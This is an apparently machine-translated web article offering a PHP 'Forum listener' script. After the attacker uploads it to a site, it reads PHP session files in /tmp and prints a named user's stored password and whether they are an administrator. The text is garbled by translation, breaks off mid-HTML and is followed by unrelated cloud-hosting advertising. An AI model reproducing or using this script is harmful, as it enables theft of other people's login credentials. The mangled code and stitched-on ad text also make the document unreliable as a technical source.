The reason for writing this function is that the session structure of the website is clear, such as: name | s: 4: "tasm"; passwd | s: 6: "111111 "; mode | s: 1: "1", also know the location where the session is stored, and can upload files, so at that time, a small hacker, passwords of online friends can be viewed at a glance:
<?
Function submit1 (){
Global $ username;
Print "<title> Forum listener </title> ";
$ I = 0;
If ($ username = "tasm" | $ username = "Tasm ")
{
Print "are you too dark? Even me? ";
Return;
}
$ Path = "/tmp /";
$ D = dir ($ path );
While ($ entry = $ d-> read ()){
If (substr ($ entry, 0, 4) = "sess "){
$ Entry = $ path. $ entry;
$ Ary = @ file ($ entry );
If (! Empty ($ ary [0]) {
$ Ary = explode (";", $ ary [0]);
$ Name = explode (":", $ ary [0]);
If ($ name [2] = "". $ username ."""){
$ Passwd = explode (":", $ ary [1]);
$ Mode = explode (":", $ ary [3]);
Print "User pen name:". $ name [2]. "<br> password:". $ passwd [2]. "<br> usage mode :";
If ($ mode [1] = 1)
Print "<font color = red> administrator </font> ";
Else
Print "normal user ";
Print "<br> stealing others' passwords is immoral. <br> ";
$ I = 1;
Break;
}}}}
If (! $ I)
Print "User:". $ username. "Is it online? If you are sure, <a href = 'javascript: history. go (-1) '> Please try again </a>. Do not open any spaces! ";
$ D-> close ();
}
Function login (){
?>
<Html>
<Head>
<Title> Forum listener </title>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">
</Head>
<Body bgcolor = "# FFFFFF">
<Div align = "center">
<P> Forum listener </p>
<P> </p>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
